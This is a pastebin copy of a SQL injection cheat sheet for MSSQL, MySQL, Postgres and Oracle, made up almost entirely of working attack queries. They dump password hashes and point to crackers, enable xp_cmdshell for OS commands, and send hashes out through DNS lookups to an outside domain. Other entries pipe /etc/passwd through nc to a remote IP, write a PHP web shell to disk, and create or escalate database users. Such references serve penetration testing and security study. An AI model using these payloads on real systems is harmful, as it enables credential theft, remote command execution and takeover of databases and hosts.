SQL INJECTION CHEAT SHEET

BILGUUNBICKTIVISM SEP 22ND, 2015 457 NEVER

text 19.17 KB raw download report

```
MSSQL INJECTION CHEAT SHEET




Version SELECT @@version
Comments        SELECT 1 — comment
SELECT /*comment*/1
Current User    SELECT user_name();
SELECT system_user;
SELECT user;
SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID
List Users      SELECT name FROM master..syslogins
List Password Hashes    SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000.  Need to convert to hex to return
hashes in MSSQL error message / some version of query analyzer.
```

```
SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005;
SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005
 Password Cracker       MSSQL 2000 and 2005 Hashes are both SHA1-based.  phrasen|drescher can crack these.
List Privileges – current privs on a particular object in 2005, 2008
SELECT permission_name FROM master..fn_my_permissions(null, 'DATABASE'); — current database
SELECT permission_name FROM master..fn_my_permissions(null, 'SERVER'); — current server
SELECT permission_name FROM master..fn_my_permissions('master..syslogins', 'OBJECT'); –permissions on a table
SELECT permission_name FROM master..fn_my_permissions('sa', 'USER');
–permissions on a user– current privs in 2005, 2008
SELECT is_srvrolemember('sysadmin');
SELECT is_srvrolemember('dbcreator');
SELECT is_srvrolemember('bulkadmin');
SELECT is_srvrolemember('diskadmin');
SELECT is_srvrolemember('processadmin');
SELECT is_srvrolemember('serveradmin');
SELECT is_srvrolemember('setupadmin');
SELECT is_srvrolemember('securityadmin');
– who has a particular priv? 2005, 2008
SELECT name FROM master..syslogins WHERE denylogin = 0;
SELECT name FROM master..syslogins WHERE hasaccess = 1;
SELECT name FROM master..syslogins WHERE isntname = 0;
SELECT name FROM master..syslogins WHERE isntgroup = 0;
SELECT name FROM master..syslogins WHERE sysadmin = 1;
SELECT name FROM master..syslogins WHERE securityadmin = 1;
SELECT name FROM master..syslogins WHERE serveradmin = 1;
SELECT name FROM master..syslogins WHERE setupadmin = 1;
SELECT name FROM master..syslogins WHERE processadmin = 1;
SELECT name FROM master..syslogins WHERE diskadmin = 1;
```

```
SELECT name FROM master..syslogins WHERE dbcreator = 1;
SELECT name FROM master..syslogins WHERE bulkadmin = 1;
List DBA Accounts       SELECT is_srvrolemember('sysadmin'); — is your account a sysadmin?  returns 1 for true, 0 for false, NULL for invalid role.  Also try 'bulkadmin', 'systemadmin' and other values from the documentation
SELECT is_srvrolemember('sysadmin', 'sa'); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username.
SELECT name FROM master..syslogins WHERE sysadmin = '1' — tested on 2005
Current Database        SELECT DB_NAME()
List Databases  SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, …
List Columns    SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable'); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; — list colum names and types for master..sometable
List Tables     SELECT name FROM master..sysobjects WHERE xtype = 'U'; — use xtype = 'V' for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable'; — list colum names and types for master..sometable
Find Tables From Column Name    – NB: This example works only for the current database.  If you wan't to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND syscolumns.name LIKE '%PASSWORD%' — this lists table, column for each column containing the word 'password'
Select Nth Row  SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row
Select Nth Char SELECT substring('abcd', 3, 1) — returns c
Bitwise AND     SELECT 6 & 2 — returns 2
SELECT 6 & 1 — returns 0
```

```
ASCII Value -> Char     SELECT char(0×41) – returns A
Char -> ASCII Value     SELECT ascii('A') – returns 65
Casting SELECT CAST('1' as int);
SELECT CAST(1 as char)
String Concatenation    SELECT 'A' + 'B' – returns AB
If Statement    IF (1=1) SELECT 1 ELSE SELECT 2 – returns 1
Case Statement  SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END – returns 1
Avoiding Quotes SELECT char(65)+char(66) – returns AB
Time Delay       WAITFOR DELAY '0:0:5' – pause for 5 seconds
Make DNS Requests       declare @host varchar(800); select @host = name FROM master..syslogins; exec('master..xp_getfiledetails "\' +
@host + 'c$boot.ini"'); – nonpriv, works on 2000declare @host varchar(800); select @host = name + '-' +
master.sys.fn_varbintohexstr(password_hash) + '.2.pentestmonkey.net' from sys.sql_logins; exec('xp_fileexist "\' + @host +
'c$boot.ini"'); – priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host.  Messy
but necessary.
– Also check out theDNS tunnel feature of sqlninja
Command Execution       EXEC xp_cmdshell 'net user'; – privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it's
disabled by default:
EXEC sp_configure 'show advanced options', 1; – priv
RECONFIGURE; – priv
EXEC sp_configure 'xp_cmdshell', 1; – priv
RECONFIGURE; – priv
Local File Access       CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM 'c:boot.ini';
DROP TABLE mydata;
Hostname, IP Address    SELECT HOST_NAME()
Create Users    EXEC sp_addlogin 'user', 'pass'; – priv
Drop Users      EXEC sp_droplogin 'user'; – priv
Make User DBA   EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin; – priv
```

```
Location of DB files    EXEC sp_helpdb master; –location of master.mdf
EXEC sp_helpdb pubs; –location of pubs.mdf
Default/System Databases        northwind
model
msdb
pubs – not on sql server 2005
tempdb

-----------------------------------

MYSQL INJECTION CHEAT SHEET

Version SELECT @@version
Comments        SELECT 1; #comment
SELECT /*comment*/1;
Current User    SELECT user();
SELECT system_user();
List Users      SELECT user FROM mysql.user; – priv
List Password Hashes    SELECT host, user, password FROM mysql.user; – priv
Password Cracker        John the Ripper will crack MySQL password hashes.
List Privileges SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; – list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; – priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; – list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; – list privs on columns
List DBA Accounts       SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'SUPER';SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv
```

```
Current Database        SELECT database()
List Databases  SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
List Columns    SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND
table_schema != 'information_schema'
List Tables     SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema !=
'information_schema'
Find Tables From Column Name    SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; —
find table which have a column called 'username'
Select Nth Row  SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char SELECT substr('abcd', 3, 1); # returns c
Bitwise AND     SELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> Char     SELECT char(65); # returns A
Char -> ASCII Value     SELECT ascii('A'); # returns 65
Casting SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);
String Concatenation    SELECT CONCAT('A','B'); #returns AB
SELECT CONCAT('A','B','C'); # returns ABC
If Statement    SELECT if(1=1,'foo','bar'); — returns 'foo'
Case Statement  SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
Avoiding Quotes SELECT 0x414243; # returns ABC
Time Delay      SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12
Make DNS Requests       Impossible?
Command Execution       If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading
a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains
```

```
exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access       …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP Address    SELECT @@hostname;
Create Users    CREATE USER test1 IDENTIFIED BY ‘pass1'; — priv
Delete Users    DROP USER test1; — priv
Make User DBA   GRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
Location of DB files    SELECT @@datadir;
Default/System Databases        information_schema (>= mysql 5.0)
mysql

----------------------------------------
Postgres SQL Injection Cheat Sheet
Version SELECT version()
Comments        SELECT 1; –comment
SELECT /*comment*/1;
Current User    SELECT user;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
List Users      SELECT usename FROM pg_user
List Password Hashes    SELECT usename, passwd FROM pg_shadow — priv
Password Cracker        MDCrack can crack PostgreSQL’s MD5-based passwords.
List Privileges SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts       SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database        SELECT current_database()
```

```
List Databases  SELECT datname FROM pg_database
List Columns    SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
List Tables     SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r','') AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name    If you want to list all the table names that contain a column LIKE '%password%':SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';
Select Nth Row  SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; -- rows numbered from 0
SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;
Select Nth Char SELECT substr('abcd', 3, 1); -- returns c
Bitwise AND     SELECT 6 & 2; -- returns 2
SELECT 6 & 1; --returns 0
ASCII Value -> Char     SELECT chr(65);
Char -> ASCII Value     SELECT ascii('A');
Casting SELECT CAST(1 as varchar);
SELECT CAST('1' as int);
String Concatenation    SELECT 'A' || 'B'; -- returnsAB
If Statement    IF statements only seem valid inside functions, so aren't much use for SQL injection.  See CASE statement instead.
Case Statement  SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; -- returns A
Avoiding Quotes SELECT CHR(65)||CHR(66); -- returns AB
Time Delay      SELECT pg_sleep(10); -- postgres 8.2+ only
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(10); --priv, create your own sleep function.  Taken from here .
Make DNS Requests       Generally not possible in postgres.  However if contrib/dblinkis installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights):
```

```
SELECT * FROM dblink('host=put.your.hostname.here user=someuser  dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”.
Command Execution       CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6', ‘system’ LANGUAGE ‘C’ STRICT; – privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080'); – priv, commands run as postgres/pgsql OS-level user
Local File Access       CREATE TABLE mydata(t text);
COPY mydata FROM ‘/etc/passwd’; – priv, can read files which are readable by postgres OS-level user
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; – get data back one row at a time
…’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; – get data back one row at a time …
DROP TABLE mytest mytest;Write to a file:
CREATE TABLE mytable (mycol text);
INSERT INTO mytable(mycol) VALUES (‘<? pasthru($_GET[cmd]); ?>’);
COPY mytable (mycol) TO ‘/tmp/test.php’; –priv, write files as postgres OS-level user.  Generally you won’t be able to write to the web root, but it’s always work a try.
– priv user can also read/write files by mapping libc functions
Hostname, IP Address    SELECT inet_server_addr(); – returns db server IP address (or null if using local connection)
SELECT inet_server_port(); – returns db server IP address (or null if using local connection)
Create Users    CREATE USER test1 PASSWORD ‘pass1'; – priv
CREATE USER test1 PASSWORD ‘pass1' CREATEUSER; – priv, grant some privs at the same time
Drop Users      DROP USER test1; – priv
Make User DBA   ALTER USER test1 CREATEUSER CREATEDB; – priv
 Location of DB files   SELECT current_setting(‘data_directory’); – priv
SELECT current_setting(‘hba_file’); – priv
Default/System Databases        template0
template1

-----------------------------------------------
ORACLE SQL INJECTION CHEAT SHEET
```

```
Version SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
Comments        SELECT 1 FROM dual -- comment
-- NB: SELECT statements must have a FROM clause in Oracle so we have to use the dummy table name 'dual' when we're not actually selecting from a table.
Current User    SELECT user FROM dual
List Users      SELECT username FROM all_users ORDER BY username;
SELECT name FROM sys.user$; -- priv
List Password Hashes    SELECT name, password, astatus FROM sys.user$ -- priv, <= 10g.  astatus tells you if acct is locked
SELECT name,spare4 FROM sys.user$ -- priv, 11g
 Password Cracker       checkpwd will crack the DES-based hashes from Oracle 8, 9 and 10.
List Privileges SELECT * FROM session_privs; -- current privs
SELECT * FROM dba_sys_privs WHERE grantee = 'DBSNMP'; -- priv, list a user's privs
SELECT grantee FROM dba_sys_privs WHERE privilege = 'SELECT ANY DICTIONARY'; -- priv, find users with a particular priv
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;
List DBA Accounts       SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; -- priv, list DBAs, DBA roles
Current Database        SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
List Databases  SELECT DISTINCT owner FROM all_tables; -- list schemas (one per user)
-- Also query TNS listener for other databases.  See tnscmd (services | status).
List Columns    SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT column_name FROM all_tab_columns WHERE table_name = 'blah' and owner = 'foo';
List Tables     SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
```

```
Find Tables From Column Name    SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'; — NB: table names are upper case
Select Nth Row  SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — gets 9th row (rows numbered from 1)
Select Nth Char SELECT substr('abcd', 3, 1) FROM dual; — gets 3rd character, 'c'
Bitwise AND     SELECT bitand(6,2) FROM dual; — returns 2
SELECT bitand(6,1) FROM dual; — returns0
ASCII Value -> Char     SELECT chr(65) FROM dual; — returns A
Char -> ASCII Value     SELECT ascii('A') FROM dual; — returns 65
Casting SELECT CAST(1 AS char) FROM dual;
SELECT CAST('1' AS int) FROM dual;
String Concatenation    SELECT 'A' || 'B' FROM dual; — returns AB
If Statement    BEGIN IF 1=1 THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END; — doesn't play well with SELECT statements
Case Statement  SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual; — returns 1
SELECT CASE WHEN 1=2 THEN 1 ELSE 2 END FROM dual; — returns 2
Avoiding Quotes SELECT chr(65) || chr(66) FROM dual; — returns AB
Time Delay      BEGIN DBMS_LOCK.SLEEP(5); END; — priv, can't seem to embed this in a SELECT
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; — if reverse looks are slow
SELECT UTL_INADDR.get_host_address('blah.attacker.com') FROM dual; — if forward lookups are slow
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual; — if outbound TCP is filtered / slow
- Also see Heavy Queries to create a time delay
Make DNS Requests       SELECT UTL_INADDR.get_host_address('google.com') FROM dual;
SELECT UTL_HTTP.REQUEST('http://google.com') FROM dual;
Command Execution       Javacan be used to execute commands if it's installed.ExtProc can sometimes be used too, though it normally failed for me. :-(
Local File Access       UTL_FILE can sometimes be used.  Check that the following is non-null:
```

```
252. SELECT value FROM v$parameter2 WHERE name = 'utl_file_dir';Java can be used to read and write files if it's installed (it is not
     available in Oracle Express).
253. Hostname, IP Address    SELECT UTL_INADDR.get_host_name FROM dual;
254. SELECT host_name FROM v$instance;
255. SELECT UTL_INADDR.get_host_address FROM dual; – gets IP address
256. SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; – gets hostnames
257. Location of DB files    SELECT name FROM V$DATAFILE;
258. Default/System Databases        SYSTEM
259. SYSAUX
```

RAW Paste Data

```
MSSQL INJECTION CHEAT SHEET



Version SELECT @@version
Comments    SELECT 1 – comment
SELECT /*comment*/1
Current User    SELECT user_name();
SELECT system_user;
```